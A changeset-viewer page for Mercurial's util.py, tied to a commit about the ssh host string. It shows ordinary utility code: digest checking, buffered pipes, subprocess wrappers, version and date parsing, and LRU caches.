##// END OF EJS Templates
ssh: unban the use of pipe character in user@host:port string...
Yuya Nishihara -
r33733:3fee7f7d 4.3.1 stable
parent child Browse files
Show More
@@ -1,3720 +1,3719
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import
17 17
18 18 import bz2
19 19 import calendar
20 20 import codecs
21 21 import collections
22 22 import contextlib
23 23 import datetime
24 24 import errno
25 25 import gc
26 26 import hashlib
27 27 import imp
28 28 import os
29 29 import platform as pyplatform
30 30 import re as remod
31 31 import shutil
32 32 import signal
33 33 import socket
34 34 import stat
35 35 import string
36 36 import subprocess
37 37 import sys
38 38 import tempfile
39 39 import textwrap
40 40 import time
41 41 import traceback
42 42 import warnings
43 43 import zlib
44 44
45 45 from . import (
46 46 encoding,
47 47 error,
48 48 i18n,
49 49 policy,
50 50 pycompat,
51 51 )
52 52
53 53 base85 = policy.importmod(r'base85')
54 54 osutil = policy.importmod(r'osutil')
55 55 parsers = policy.importmod(r'parsers')
56 56
57 57 b85decode = base85.b85decode
58 58 b85encode = base85.b85encode
59 59
60 60 cookielib = pycompat.cookielib
61 61 empty = pycompat.empty
62 62 httplib = pycompat.httplib
63 63 httpserver = pycompat.httpserver
64 64 pickle = pycompat.pickle
65 65 queue = pycompat.queue
66 66 socketserver = pycompat.socketserver
67 67 stderr = pycompat.stderr
68 68 stdin = pycompat.stdin
69 69 stdout = pycompat.stdout
70 70 stringio = pycompat.stringio
71 71 urlerr = pycompat.urlerr
72 72 urlreq = pycompat.urlreq
73 73 xmlrpclib = pycompat.xmlrpclib
74 74
75 75 # workaround for win32mbcs
76 76 _filenamebytestr = pycompat.bytestr
77 77
78 78 def isatty(fp):
79 79 try:
80 80 return fp.isatty()
81 81 except AttributeError:
82 82 return False
83 83
84 84 # glibc determines buffering on first write to stdout - if we replace a TTY
85 85 # destined stdout with a pipe destined stdout (e.g. pager), we want line
86 86 # buffering
87 87 if isatty(stdout):
88 88 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
89 89
90 90 if pycompat.osname == 'nt':
91 91 from . import windows as platform
92 92 stdout = platform.winstdout(stdout)
93 93 else:
94 94 from . import posix as platform
95 95
96 96 _ = i18n._
97 97
98 98 bindunixsocket = platform.bindunixsocket
99 99 cachestat = platform.cachestat
100 100 checkexec = platform.checkexec
101 101 checklink = platform.checklink
102 102 copymode = platform.copymode
103 103 executablepath = platform.executablepath
104 104 expandglobs = platform.expandglobs
105 105 explainexit = platform.explainexit
106 106 findexe = platform.findexe
107 107 gethgcmd = platform.gethgcmd
108 108 getuser = platform.getuser
109 109 getpid = os.getpid
110 110 groupmembers = platform.groupmembers
111 111 groupname = platform.groupname
112 112 hidewindow = platform.hidewindow
113 113 isexec = platform.isexec
114 114 isowner = platform.isowner
115 115 listdir = osutil.listdir
116 116 localpath = platform.localpath
117 117 lookupreg = platform.lookupreg
118 118 makedir = platform.makedir
119 119 nlinks = platform.nlinks
120 120 normpath = platform.normpath
121 121 normcase = platform.normcase
122 122 normcasespec = platform.normcasespec
123 123 normcasefallback = platform.normcasefallback
124 124 openhardlinks = platform.openhardlinks
125 125 oslink = platform.oslink
126 126 parsepatchoutput = platform.parsepatchoutput
127 127 pconvert = platform.pconvert
128 128 poll = platform.poll
129 129 popen = platform.popen
130 130 posixfile = platform.posixfile
131 131 quotecommand = platform.quotecommand
132 132 readpipe = platform.readpipe
133 133 rename = platform.rename
134 134 removedirs = platform.removedirs
135 135 samedevice = platform.samedevice
136 136 samefile = platform.samefile
137 137 samestat = platform.samestat
138 138 setbinary = platform.setbinary
139 139 setflags = platform.setflags
140 140 setsignalhandler = platform.setsignalhandler
141 141 shellquote = platform.shellquote
142 142 spawndetached = platform.spawndetached
143 143 split = platform.split
144 144 sshargs = platform.sshargs
145 145 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
146 146 statisexec = platform.statisexec
147 147 statislink = platform.statislink
148 148 testpid = platform.testpid
149 149 umask = platform.umask
150 150 unlink = platform.unlink
151 151 username = platform.username
152 152
153 153 try:
154 154 recvfds = osutil.recvfds
155 155 except AttributeError:
156 156 pass
157 157 try:
158 158 setprocname = osutil.setprocname
159 159 except AttributeError:
160 160 pass
161 161
162 162 # Python compatibility
163 163
164 164 _notset = object()
165 165
166 166 # disable Python's problematic floating point timestamps (issue4836)
167 167 # (Python hypocritically says you shouldn't change this behavior in
168 168 # libraries, and sure enough Mercurial is not a library.)
169 169 os.stat_float_times(False)
170 170
171 171 def safehasattr(thing, attr):
172 172 return getattr(thing, attr, _notset) is not _notset
173 173
174 174 def bitsfrom(container):
175 175 bits = 0
176 176 for bit in container:
177 177 bits |= bit
178 178 return bits
179 179
180 180 # python 2.6 still have deprecation warning enabled by default. We do not want
181 181 # to display anything to standard user so detect if we are running test and
182 182 # only use python deprecation warning in this case.
183 183 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
184 184 if _dowarn:
185 185 # explicitly unfilter our warning for python 2.7
186 186 #
187 187 # The option of setting PYTHONWARNINGS in the test runner was investigated.
188 188 # However, module name set through PYTHONWARNINGS was exactly matched, so
189 189 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
190 190 # makes the whole PYTHONWARNINGS thing useless for our usecase.
191 191 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
192 192 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
193 193 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
194 194
195 195 def nouideprecwarn(msg, version, stacklevel=1):
196 196 """Issue an python native deprecation warning
197 197
198 198 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
199 199 """
200 200 if _dowarn:
201 201 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
202 202 " update your code.)") % version
203 203 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
204 204
205 205 DIGESTS = {
206 206 'md5': hashlib.md5,
207 207 'sha1': hashlib.sha1,
208 208 'sha512': hashlib.sha512,
209 209 }
210 210 # List of digest types from strongest to weakest
211 211 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
212 212
213 213 for k in DIGESTS_BY_STRENGTH:
214 214 assert k in DIGESTS
215 215
216 216 class digester(object):
217 217 """helper to compute digests.
218 218
219 219 This helper can be used to compute one or more digests given their name.
220 220
221 221 >>> d = digester(['md5', 'sha1'])
222 222 >>> d.update('foo')
223 223 >>> [k for k in sorted(d)]
224 224 ['md5', 'sha1']
225 225 >>> d['md5']
226 226 'acbd18db4cc2f85cedef654fccc4a4d8'
227 227 >>> d['sha1']
228 228 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
229 229 >>> digester.preferred(['md5', 'sha1'])
230 230 'sha1'
231 231 """
232 232
233 233 def __init__(self, digests, s=''):
234 234 self._hashes = {}
235 235 for k in digests:
236 236 if k not in DIGESTS:
237 237 raise Abort(_('unknown digest type: %s') % k)
238 238 self._hashes[k] = DIGESTS[k]()
239 239 if s:
240 240 self.update(s)
241 241
242 242 def update(self, data):
243 243 for h in self._hashes.values():
244 244 h.update(data)
245 245
246 246 def __getitem__(self, key):
247 247 if key not in DIGESTS:
248 248 raise Abort(_('unknown digest type: %s') % k)
249 249 return self._hashes[key].hexdigest()
250 250
251 251 def __iter__(self):
252 252 return iter(self._hashes)
253 253
254 254 @staticmethod
255 255 def preferred(supported):
256 256 """returns the strongest digest type in both supported and DIGESTS."""
257 257
258 258 for k in DIGESTS_BY_STRENGTH:
259 259 if k in supported:
260 260 return k
261 261 return None
262 262
263 263 class digestchecker(object):
264 264 """file handle wrapper that additionally checks content against a given
265 265 size and digests.
266 266
267 267 d = digestchecker(fh, size, {'md5': '...'})
268 268
269 269 When multiple digests are given, all of them are validated.
270 270 """
271 271
272 272 def __init__(self, fh, size, digests):
273 273 self._fh = fh
274 274 self._size = size
275 275 self._got = 0
276 276 self._digests = dict(digests)
277 277 self._digester = digester(self._digests.keys())
278 278
279 279 def read(self, length=-1):
280 280 content = self._fh.read(length)
281 281 self._digester.update(content)
282 282 self._got += len(content)
283 283 return content
284 284
285 285 def validate(self):
286 286 if self._size != self._got:
287 287 raise Abort(_('size mismatch: expected %d, got %d') %
288 288 (self._size, self._got))
289 289 for k, v in self._digests.items():
290 290 if v != self._digester[k]:
291 291 # i18n: first parameter is a digest name
292 292 raise Abort(_('%s mismatch: expected %s, got %s') %
293 293 (k, v, self._digester[k]))
294 294
295 295 try:
296 296 buffer = buffer
297 297 except NameError:
298 298 def buffer(sliceable, offset=0, length=None):
299 299 if length is not None:
300 300 return memoryview(sliceable)[offset:offset + length]
301 301 return memoryview(sliceable)[offset:]
302 302
303 303 closefds = pycompat.osname == 'posix'
304 304
305 305 _chunksize = 4096
306 306
307 307 class bufferedinputpipe(object):
308 308 """a manually buffered input pipe
309 309
310 310 Python will not let us use buffered IO and lazy reading with 'polling' at
311 311 the same time. We cannot probe the buffer state and select will not detect
312 312 that data are ready to read if they are already buffered.
313 313
314 314 This class let us work around that by implementing its own buffering
315 315 (allowing efficient readline) while offering a way to know if the buffer is
316 316 empty from the output (allowing collaboration of the buffer with polling).
317 317
318 318 This class lives in the 'util' module because it makes use of the 'os'
319 319 module from the python stdlib.
320 320 """
321 321
322 322 def __init__(self, input):
323 323 self._input = input
324 324 self._buffer = []
325 325 self._eof = False
326 326 self._lenbuf = 0
327 327
328 328 @property
329 329 def hasbuffer(self):
330 330 """True is any data is currently buffered
331 331
332 332 This will be used externally a pre-step for polling IO. If there is
333 333 already data then no polling should be set in place."""
334 334 return bool(self._buffer)
335 335
336 336 @property
337 337 def closed(self):
338 338 return self._input.closed
339 339
340 340 def fileno(self):
341 341 return self._input.fileno()
342 342
343 343 def close(self):
344 344 return self._input.close()
345 345
346 346 def read(self, size):
347 347 while (not self._eof) and (self._lenbuf < size):
348 348 self._fillbuffer()
349 349 return self._frombuffer(size)
350 350
351 351 def readline(self, *args, **kwargs):
352 352 if 1 < len(self._buffer):
353 353 # this should not happen because both read and readline end with a
354 354 # _frombuffer call that collapse it.
355 355 self._buffer = [''.join(self._buffer)]
356 356 self._lenbuf = len(self._buffer[0])
357 357 lfi = -1
358 358 if self._buffer:
359 359 lfi = self._buffer[-1].find('\n')
360 360 while (not self._eof) and lfi < 0:
361 361 self._fillbuffer()
362 362 if self._buffer:
363 363 lfi = self._buffer[-1].find('\n')
364 364 size = lfi + 1
365 365 if lfi < 0: # end of file
366 366 size = self._lenbuf
367 367 elif 1 < len(self._buffer):
368 368 # we need to take previous chunks into account
369 369 size += self._lenbuf - len(self._buffer[-1])
370 370 return self._frombuffer(size)
371 371
372 372 def _frombuffer(self, size):
373 373 """return at most 'size' data from the buffer
374 374
375 375 The data are removed from the buffer."""
376 376 if size == 0 or not self._buffer:
377 377 return ''
378 378 buf = self._buffer[0]
379 379 if 1 < len(self._buffer):
380 380 buf = ''.join(self._buffer)
381 381
382 382 data = buf[:size]
383 383 buf = buf[len(data):]
384 384 if buf:
385 385 self._buffer = [buf]
386 386 self._lenbuf = len(buf)
387 387 else:
388 388 self._buffer = []
389 389 self._lenbuf = 0
390 390 return data
391 391
392 392 def _fillbuffer(self):
393 393 """read data to the buffer"""
394 394 data = os.read(self._input.fileno(), _chunksize)
395 395 if not data:
396 396 self._eof = True
397 397 else:
398 398 self._lenbuf += len(data)
399 399 self._buffer.append(data)
400 400
401 401 def popen2(cmd, env=None, newlines=False):
402 402 # Setting bufsize to -1 lets the system decide the buffer size.
403 403 # The default for bufsize is 0, meaning unbuffered. This leads to
404 404 # poor performance on Mac OS X: http://bugs.python.org/issue4194
405 405 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
406 406 close_fds=closefds,
407 407 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
408 408 universal_newlines=newlines,
409 409 env=env)
410 410 return p.stdin, p.stdout
411 411
412 412 def popen3(cmd, env=None, newlines=False):
413 413 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
414 414 return stdin, stdout, stderr
415 415
416 416 def popen4(cmd, env=None, newlines=False, bufsize=-1):
417 417 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
418 418 close_fds=closefds,
419 419 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
420 420 stderr=subprocess.PIPE,
421 421 universal_newlines=newlines,
422 422 env=env)
423 423 return p.stdin, p.stdout, p.stderr, p
424 424
425 425 def version():
426 426 """Return version information if available."""
427 427 try:
428 428 from . import __version__
429 429 return __version__.version
430 430 except ImportError:
431 431 return 'unknown'
432 432
433 433 def versiontuple(v=None, n=4):
434 434 """Parses a Mercurial version string into an N-tuple.
435 435
436 436 The version string to be parsed is specified with the ``v`` argument.
437 437 If it isn't defined, the current Mercurial version string will be parsed.
438 438
439 439 ``n`` can be 2, 3, or 4. Here is how some version strings map to
440 440 returned values:
441 441
442 442 >>> v = '3.6.1+190-df9b73d2d444'
443 443 >>> versiontuple(v, 2)
444 444 (3, 6)
445 445 >>> versiontuple(v, 3)
446 446 (3, 6, 1)
447 447 >>> versiontuple(v, 4)
448 448 (3, 6, 1, '190-df9b73d2d444')
449 449
450 450 >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
451 451 (3, 6, 1, '190-df9b73d2d444+20151118')
452 452
453 453 >>> v = '3.6'
454 454 >>> versiontuple(v, 2)
455 455 (3, 6)
456 456 >>> versiontuple(v, 3)
457 457 (3, 6, None)
458 458 >>> versiontuple(v, 4)
459 459 (3, 6, None, None)
460 460
461 461 >>> v = '3.9-rc'
462 462 >>> versiontuple(v, 2)
463 463 (3, 9)
464 464 >>> versiontuple(v, 3)
465 465 (3, 9, None)
466 466 >>> versiontuple(v, 4)
467 467 (3, 9, None, 'rc')
468 468
469 469 >>> v = '3.9-rc+2-02a8fea4289b'
470 470 >>> versiontuple(v, 2)
471 471 (3, 9)
472 472 >>> versiontuple(v, 3)
473 473 (3, 9, None)
474 474 >>> versiontuple(v, 4)
475 475 (3, 9, None, 'rc+2-02a8fea4289b')
476 476 """
477 477 if not v:
478 478 v = version()
479 479 parts = remod.split('[\+-]', v, 1)
480 480 if len(parts) == 1:
481 481 vparts, extra = parts[0], None
482 482 else:
483 483 vparts, extra = parts
484 484
485 485 vints = []
486 486 for i in vparts.split('.'):
487 487 try:
488 488 vints.append(int(i))
489 489 except ValueError:
490 490 break
491 491 # (3, 6) -> (3, 6, None)
492 492 while len(vints) < 3:
493 493 vints.append(None)
494 494
495 495 if n == 2:
496 496 return (vints[0], vints[1])
497 497 if n == 3:
498 498 return (vints[0], vints[1], vints[2])
499 499 if n == 4:
500 500 return (vints[0], vints[1], vints[2], extra)
501 501
502 502 # used by parsedate
503 503 defaultdateformats = (
504 504 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
505 505 '%Y-%m-%dT%H:%M', # without seconds
506 506 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
507 507 '%Y-%m-%dT%H%M', # without seconds
508 508 '%Y-%m-%d %H:%M:%S', # our common legal variant
509 509 '%Y-%m-%d %H:%M', # without seconds
510 510 '%Y-%m-%d %H%M%S', # without :
511 511 '%Y-%m-%d %H%M', # without seconds
512 512 '%Y-%m-%d %I:%M:%S%p',
513 513 '%Y-%m-%d %H:%M',
514 514 '%Y-%m-%d %I:%M%p',
515 515 '%Y-%m-%d',
516 516 '%m-%d',
517 517 '%m/%d',
518 518 '%m/%d/%y',
519 519 '%m/%d/%Y',
520 520 '%a %b %d %H:%M:%S %Y',
521 521 '%a %b %d %I:%M:%S%p %Y',
522 522 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
523 523 '%b %d %H:%M:%S %Y',
524 524 '%b %d %I:%M:%S%p %Y',
525 525 '%b %d %H:%M:%S',
526 526 '%b %d %I:%M:%S%p',
527 527 '%b %d %H:%M',
528 528 '%b %d %I:%M%p',
529 529 '%b %d %Y',
530 530 '%b %d',
531 531 '%H:%M:%S',
532 532 '%I:%M:%S%p',
533 533 '%H:%M',
534 534 '%I:%M%p',
535 535 )
536 536
537 537 extendeddateformats = defaultdateformats + (
538 538 "%Y",
539 539 "%Y-%m",
540 540 "%b",
541 541 "%b %Y",
542 542 )
543 543
544 544 def cachefunc(func):
545 545 '''cache the result of function calls'''
546 546 # XXX doesn't handle keywords args
547 547 if func.__code__.co_argcount == 0:
548 548 cache = []
549 549 def f():
550 550 if len(cache) == 0:
551 551 cache.append(func())
552 552 return cache[0]
553 553 return f
554 554 cache = {}
555 555 if func.__code__.co_argcount == 1:
556 556 # we gain a small amount of time because
557 557 # we don't need to pack/unpack the list
558 558 def f(arg):
559 559 if arg not in cache:
560 560 cache[arg] = func(arg)
561 561 return cache[arg]
562 562 else:
563 563 def f(*args):
564 564 if args not in cache:
565 565 cache[args] = func(*args)
566 566 return cache[args]
567 567
568 568 return f
569 569
570 570 class sortdict(collections.OrderedDict):
571 571 '''a simple sorted dictionary
572 572
573 573 >>> d1 = sortdict([('a', 0), ('b', 1)])
574 574 >>> d2 = d1.copy()
575 575 >>> d2
576 576 sortdict([('a', 0), ('b', 1)])
577 577 >>> d2.update([('a', 2)])
578 578 >>> d2.keys() # should still be in last-set order
579 579 ['b', 'a']
580 580 '''
581 581
582 582 def __setitem__(self, key, value):
583 583 if key in self:
584 584 del self[key]
585 585 super(sortdict, self).__setitem__(key, value)
586 586
587 587 if pycompat.ispypy:
588 588 # __setitem__() isn't called as of PyPy 5.8.0
589 589 def update(self, src):
590 590 if isinstance(src, dict):
591 591 src = src.iteritems()
592 592 for k, v in src:
593 593 self[k] = v
594 594
595 595 @contextlib.contextmanager
596 596 def acceptintervention(tr=None):
597 597 """A context manager that closes the transaction on InterventionRequired
598 598
599 599 If no transaction was provided, this simply runs the body and returns
600 600 """
601 601 if not tr:
602 602 yield
603 603 return
604 604 try:
605 605 yield
606 606 tr.close()
607 607 except error.InterventionRequired:
608 608 tr.close()
609 609 raise
610 610 finally:
611 611 tr.release()
612 612
613 613 class _lrucachenode(object):
614 614 """A node in a doubly linked list.
615 615
616 616 Holds a reference to nodes on either side as well as a key-value
617 617 pair for the dictionary entry.
618 618 """
619 619 __slots__ = (u'next', u'prev', u'key', u'value')
620 620
621 621 def __init__(self):
622 622 self.next = None
623 623 self.prev = None
624 624
625 625 self.key = _notset
626 626 self.value = None
627 627
628 628 def markempty(self):
629 629 """Mark the node as emptied."""
630 630 self.key = _notset
631 631
632 632 class lrucachedict(object):
633 633 """Dict that caches most recent accesses and sets.
634 634
635 635 The dict consists of an actual backing dict - indexed by original
636 636 key - and a doubly linked circular list defining the order of entries in
637 637 the cache.
638 638
639 639 The head node is the newest entry in the cache. If the cache is full,
640 640 we recycle head.prev and make it the new head. Cache accesses result in
641 641 the node being moved to before the existing head and being marked as the
642 642 new head node.
643 643 """
644 644 def __init__(self, max):
645 645 self._cache = {}
646 646
647 647 self._head = head = _lrucachenode()
648 648 head.prev = head
649 649 head.next = head
650 650 self._size = 1
651 651 self._capacity = max
652 652
653 653 def __len__(self):
654 654 return len(self._cache)
655 655
656 656 def __contains__(self, k):
657 657 return k in self._cache
658 658
659 659 def __iter__(self):
660 660 # We don't have to iterate in cache order, but why not.
661 661 n = self._head
662 662 for i in range(len(self._cache)):
663 663 yield n.key
664 664 n = n.next
665 665
666 666 def __getitem__(self, k):
667 667 node = self._cache[k]
668 668 self._movetohead(node)
669 669 return node.value
670 670
671 671 def __setitem__(self, k, v):
672 672 node = self._cache.get(k)
673 673 # Replace existing value and mark as newest.
674 674 if node is not None:
675 675 node.value = v
676 676 self._movetohead(node)
677 677 return
678 678
679 679 if self._size < self._capacity:
680 680 node = self._addcapacity()
681 681 else:
682 682 # Grab the last/oldest item.
683 683 node = self._head.prev
684 684
685 685 # At capacity. Kill the old entry.
686 686 if node.key is not _notset:
687 687 del self._cache[node.key]
688 688
689 689 node.key = k
690 690 node.value = v
691 691 self._cache[k] = node
692 692 # And mark it as newest entry. No need to adjust order since it
693 693 # is already self._head.prev.
694 694 self._head = node
695 695
696 696 def __delitem__(self, k):
697 697 node = self._cache.pop(k)
698 698 node.markempty()
699 699
700 700 # Temporarily mark as newest item before re-adjusting head to make
701 701 # this node the oldest item.
702 702 self._movetohead(node)
703 703 self._head = node.next
704 704
705 705 # Additional dict methods.
706 706
707 707 def get(self, k, default=None):
708 708 try:
709 709 return self._cache[k].value
710 710 except KeyError:
711 711 return default
712 712
713 713 def clear(self):
714 714 n = self._head
715 715 while n.key is not _notset:
716 716 n.markempty()
717 717 n = n.next
718 718
719 719 self._cache.clear()
720 720
721 721 def copy(self):
722 722 result = lrucachedict(self._capacity)
723 723 n = self._head.prev
724 724 # Iterate in oldest-to-newest order, so the copy has the right ordering
725 725 for i in range(len(self._cache)):
726 726 result[n.key] = n.value
727 727 n = n.prev
728 728 return result
729 729
730 730 def _movetohead(self, node):
731 731 """Mark a node as the newest, making it the new head.
732 732
733 733 When a node is accessed, it becomes the freshest entry in the LRU
734 734 list, which is denoted by self._head.
735 735
736 736 Visually, let's make ``N`` the new head node (* denotes head):
737 737
738 738 previous/oldest <-> head <-> next/next newest
739 739
740 740 ----<->--- A* ---<->-----
741 741 | |
742 742 E <-> D <-> N <-> C <-> B
743 743
744 744 To:
745 745
746 746 ----<->--- N* ---<->-----
747 747 | |
748 748 E <-> D <-> C <-> B <-> A
749 749
750 750 This requires the following moves:
751 751
752 752 C.next = D (node.prev.next = node.next)
753 753 D.prev = C (node.next.prev = node.prev)
754 754 E.next = N (head.prev.next = node)
755 755 N.prev = E (node.prev = head.prev)
756 756 N.next = A (node.next = head)
757 757 A.prev = N (head.prev = node)
758 758 """
759 759 head = self._head
760 760 # C.next = D
761 761 node.prev.next = node.next
762 762 # D.prev = C
763 763 node.next.prev = node.prev
764 764 # N.prev = E
765 765 node.prev = head.prev
766 766 # N.next = A
767 767 # It is tempting to do just "head" here, however if node is
768 768 # adjacent to head, this will do bad things.
769 769 node.next = head.prev.next
770 770 # E.next = N
771 771 node.next.prev = node
772 772 # A.prev = N
773 773 node.prev.next = node
774 774
775 775 self._head = node
776 776
777 777 def _addcapacity(self):
778 778 """Add a node to the circular linked list.
779 779
780 780 The new node is inserted before the head node.
781 781 """
782 782 head = self._head
783 783 node = _lrucachenode()
784 784 head.prev.next = node
785 785 node.prev = head.prev
786 786 node.next = head
787 787 head.prev = node
788 788 self._size += 1
789 789 return node
790 790
791 791 def lrucachefunc(func):
792 792 '''cache most recent results of function calls'''
793 793 cache = {}
794 794 order = collections.deque()
795 795 if func.__code__.co_argcount == 1:
796 796 def f(arg):
797 797 if arg not in cache:
798 798 if len(cache) > 20:
799 799 del cache[order.popleft()]
800 800 cache[arg] = func(arg)
801 801 else:
802 802 order.remove(arg)
803 803 order.append(arg)
804 804 return cache[arg]
805 805 else:
806 806 def f(*args):
807 807 if args not in cache:
808 808 if len(cache) > 20:
809 809 del cache[order.popleft()]
810 810 cache[args] = func(*args)
811 811 else:
812 812 order.remove(args)
813 813 order.append(args)
814 814 return cache[args]
815 815
816 816 return f
817 817
818 818 class propertycache(object):
819 819 def __init__(self, func):
820 820 self.func = func
821 821 self.name = func.__name__
822 822 def __get__(self, obj, type=None):
823 823 result = self.func(obj)
824 824 self.cachevalue(obj, result)
825 825 return result
826 826
827 827 def cachevalue(self, obj, value):
828 828 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
829 829 obj.__dict__[self.name] = value
830 830
831 831 def pipefilter(s, cmd):
832 832 '''filter string S through command CMD, returning its output'''
833 833 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
834 834 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
835 835 pout, perr = p.communicate(s)
836 836 return pout
837 837
838 838 def tempfilter(s, cmd):
839 839 '''filter string S through a pair of temporary files with CMD.
840 840 CMD is used as a template to create the real command to be run,
841 841 with the strings INFILE and OUTFILE replaced by the real names of
842 842 the temporary files generated.'''
843 843 inname, outname = None, None
844 844 try:
845 845 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
846 846 fp = os.fdopen(infd, pycompat.sysstr('wb'))
847 847 fp.write(s)
848 848 fp.close()
849 849 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
850 850 os.close(outfd)
851 851 cmd = cmd.replace('INFILE', inname)
852 852 cmd = cmd.replace('OUTFILE', outname)
853 853 code = os.system(cmd)
854 854 if pycompat.sysplatform == 'OpenVMS' and code & 1:
855 855 code = 0
856 856 if code:
857 857 raise Abort(_("command '%s' failed: %s") %
858 858 (cmd, explainexit(code)))
859 859 return readfile(outname)
860 860 finally:
861 861 try:
862 862 if inname:
863 863 os.unlink(inname)
864 864 except OSError:
865 865 pass
866 866 try:
867 867 if outname:
868 868 os.unlink(outname)
869 869 except OSError:
870 870 pass
871 871
872 872 filtertable = {
873 873 'tempfile:': tempfilter,
874 874 'pipe:': pipefilter,
875 875 }
876 876
877 877 def filter(s, cmd):
878 878 "filter a string through a command that transforms its input to its output"
879 879 for name, fn in filtertable.iteritems():
880 880 if cmd.startswith(name):
881 881 return fn(s, cmd[len(name):].lstrip())
882 882 return pipefilter(s, cmd)
883 883
884 884 def binary(s):
885 885 """return true if a string is binary data"""
886 886 return bool(s and '\0' in s)
887 887
888 888 def increasingchunks(source, min=1024, max=65536):
889 889 '''return no less than min bytes per chunk while data remains,
890 890 doubling min after each chunk until it reaches max'''
891 891 def log2(x):
892 892 if not x:
893 893 return 0
894 894 i = 0
895 895 while x:
896 896 x >>= 1
897 897 i += 1
898 898 return i - 1
899 899
900 900 buf = []
901 901 blen = 0
902 902 for chunk in source:
903 903 buf.append(chunk)
904 904 blen += len(chunk)
905 905 if blen >= min:
906 906 if min < max:
907 907 min = min << 1
908 908 nmin = 1 << log2(blen)
909 909 if nmin > min:
910 910 min = nmin
911 911 if min > max:
912 912 min = max
913 913 yield ''.join(buf)
914 914 blen = 0
915 915 buf = []
916 916 if buf:
917 917 yield ''.join(buf)
918 918
919 919 Abort = error.Abort
920 920
921 921 def always(fn):
922 922 return True
923 923
924 924 def never(fn):
925 925 return False
926 926
927 927 def nogc(func):
928 928 """disable garbage collector
929 929
930 930 Python's garbage collector triggers a GC each time a certain number of
931 931 container objects (the number being defined by gc.get_threshold()) are
932 932 allocated even when marked not to be tracked by the collector. Tracking has
933 933 no effect on when GCs are triggered, only on what objects the GC looks
934 934 into. As a workaround, disable GC while building complex (huge)
935 935 containers.
936 936
937 937 This garbage collector issue have been fixed in 2.7.
938 938 """
939 939 if sys.version_info >= (2, 7):
940 940 return func
941 941 def wrapper(*args, **kwargs):
942 942 gcenabled = gc.isenabled()
943 943 gc.disable()
944 944 try:
945 945 return func(*args, **kwargs)
946 946 finally:
947 947 if gcenabled:
948 948 gc.enable()
949 949 return wrapper
950 950
951 951 def pathto(root, n1, n2):
952 952 '''return the relative path from one place to another.
953 953 root should use os.sep to separate directories
954 954 n1 should use os.sep to separate directories
955 955 n2 should use "/" to separate directories
956 956 returns an os.sep-separated path.
957 957
958 958 If n1 is a relative path, it's assumed it's
959 959 relative to root.
960 960 n2 should always be relative to root.
961 961 '''
962 962 if not n1:
963 963 return localpath(n2)
964 964 if os.path.isabs(n1):
965 965 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
966 966 return os.path.join(root, localpath(n2))
967 967 n2 = '/'.join((pconvert(root), n2))
968 968 a, b = splitpath(n1), n2.split('/')
969 969 a.reverse()
970 970 b.reverse()
971 971 while a and b and a[-1] == b[-1]:
972 972 a.pop()
973 973 b.pop()
974 974 b.reverse()
975 975 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
976 976
977 977 def mainfrozen():
978 978 """return True if we are a frozen executable.
979 979
980 980 The code supports py2exe (most common, Windows only) and tools/freeze
981 981 (portable, not much used).
982 982 """
983 983 return (safehasattr(sys, "frozen") or # new py2exe
984 984 safehasattr(sys, "importers") or # old py2exe
985 985 imp.is_frozen(u"__main__")) # tools/freeze
986 986
987 987 # the location of data files matching the source code
988 988 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
989 989 # executable version (py2exe) doesn't support __file__
990 990 datapath = os.path.dirname(pycompat.sysexecutable)
991 991 else:
992 992 datapath = os.path.dirname(pycompat.fsencode(__file__))
993 993
994 994 i18n.setdatapath(datapath)
995 995
996 996 _hgexecutable = None
997 997
998 998 def hgexecutable():
999 999 """return location of the 'hg' executable.
1000 1000
1001 1001 Defaults to $HG or 'hg' in the search path.
1002 1002 """
1003 1003 if _hgexecutable is None:
1004 1004 hg = encoding.environ.get('HG')
1005 1005 mainmod = sys.modules[pycompat.sysstr('__main__')]
1006 1006 if hg:
1007 1007 _sethgexecutable(hg)
1008 1008 elif mainfrozen():
1009 1009 if getattr(sys, 'frozen', None) == 'macosx_app':
1010 1010 # Env variable set by py2app
1011 1011 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1012 1012 else:
1013 1013 _sethgexecutable(pycompat.sysexecutable)
1014 1014 elif (os.path.basename(
1015 1015 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1016 1016 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1017 1017 else:
1018 1018 exe = findexe('hg') or os.path.basename(sys.argv[0])
1019 1019 _sethgexecutable(exe)
1020 1020 return _hgexecutable
